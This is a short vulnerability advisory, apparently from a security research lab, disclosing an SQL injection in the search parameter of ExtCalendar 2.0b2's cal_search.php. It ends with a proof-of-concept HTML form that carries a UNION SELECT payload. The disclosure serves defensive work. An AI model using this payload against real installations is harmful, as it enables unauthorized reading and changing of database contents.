Extcalendar 2.0b2 - 'cal_search.php' SQL Injection

Vulnerability ID: HTB22986
Reference: http://www.htbridge.ch/advisory/sql_injection_in_extcalendar_2.html
Product: ExtCalendar 2
Vendor: http://sourceforge.net/projects/extcal/ 
Vulnerable Version: 2.0b2
Vendor Notification: 05 May 2011 
Vulnerability Type: SQL Injection
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "cal_search.php" script to properly sanitize user-supplied input in "search" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


<form action="http://[host]/cal_search.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="search" value="') union select 1,version(),3,4,5,6,7,8,9,10 -- "> 
<input type="submit" value="OK">